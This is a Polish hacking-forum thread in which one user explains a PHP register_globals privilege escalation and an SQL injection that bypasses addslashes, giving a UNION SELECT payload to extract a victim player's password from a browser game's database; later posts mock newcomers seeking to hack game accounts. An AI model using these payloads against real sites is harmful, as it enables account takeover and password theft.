Strona 2 z 2 PierwszyPierwszy 12
Pokaż wyniki 11 do 16 z 16

Temat: pomoc

  1. #11
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    register_globals:

    zalozmy masz taki skrypt:

    admin_inc.php
    Kod php:
    <?php
    session_start
    ();
    if(
    $admin 1){
    echo 
    'panel admina';
    $_SESSION['group'] = 1;
    ...
    }
    ?>
    jest to includowane przez login.php:
    Kod php:
    <?php
    if (//tu logowanie)
    sprawdzanie uprawnien...
    mysql_query('...')$admin 1;
    include(
    'poprzedni.php');
    ?>
    Jesli register globals sa wlaczone, wysylasz getem ?admin=1 do admin_inc.php i masz sesje admina.


    SQL injection

    $id = addslashes($_GET['id']);
    select surowce,punkty from gracze where id = $id
    wykozystanie:

    ?id=0 and 0 union select 0,player_password from gracze where player_name = 'ofiara' limit 1/*

    zakonczy sie oczywiscie errorem, bo uzylismy ' ktore sa filtrowane.
    Ale, zamieniajac payer_name na player_id nie musimy juz pisac '. O ile sa same cyfry, ' jest zbedne.

    To nie sa dokladnie te bledy, ani takie nazwy tabel. Wiec jesli tego nie zrozumiesz, nic nie zawojujesz.

  2. #12
    Zarejestrowany
    Jul 2008
    Postów
    3

    Domyślnie

    jak ich uzyc gdzie wkleić i gdzie napisac

  3. #13
    Avatar GSG-9
    GSG-9 jest offline Shapeshifter
    Zarejestrowany
    Jul 2007
    Skąd
    C:\Perl\bin
    Postów
    1,578

    Domyślnie

    jak ich uzyc gdzie wkleić i gdzie napisac
    omg czlowieku rip napisal juz wyjatkowo duzo...
    nie nasza wina ze nic z tego nie rozumiesz lol
    War, war never changes.

  4. #14
    Zarejestrowany
    Dec 2007
    Postów
    136

    Domyślnie

    Cytat Napisał GSG-9 Zobacz post
    omg czlowieku rip napisal juz wyjatkowo duzo...
    nie nasza wina ze nic z tego nie rozumiesz lol
    dokladnie tak. nie rozumiesz? idz grac, a nie chcesz haxorzyc hasla :F. temat najlepiej zamknac ale zostawic dla potomnych, chociaz i tak zaden z tych troli i matolow od hakzorzenia kont w grach nie umie uzyc opcji szukaj...

  5. #15
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Ja tam wszystko zrozumiałem I proszę nie wyzywać mnie od "trolli i matołów od hakzorzenia kont w grach", bo ja wcale nie pytałem o dokładny opis "hakzorzenia kont w grach", tylko wlaśnie o cos takiego jak napisał rip

    @down: Tak się domyślałem, ale wolałem się upewnic i ewentualnie sprawę wyjaśnić, b nie chcę, żeby ktoś sobie o mnie negatywną opinię wyrobił
    Ostatnio edytowane przez Ormi : 07-21-2008 - 13:04

  6. #16
    Zarejestrowany
    Dec 2007
    Postów
    136

    Domyślnie

    Cytat Napisał Ormi Zobacz post
    Ja tam wszystko zrozumiałem I proszę nie wyzywać mnie od "trolli i matołów od hakzorzenia kont w grach", bo ja wcale nie pytałem o dokładny opis "hakzorzenia kont w grach", tylko wlaśnie o cos takiego jak napisał rip
    to oczywiscie nie do Ciebie sie odnosilo, mialem na mysli Stanleya...

Strona 2 z 2 PierwszyPierwszy 12

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj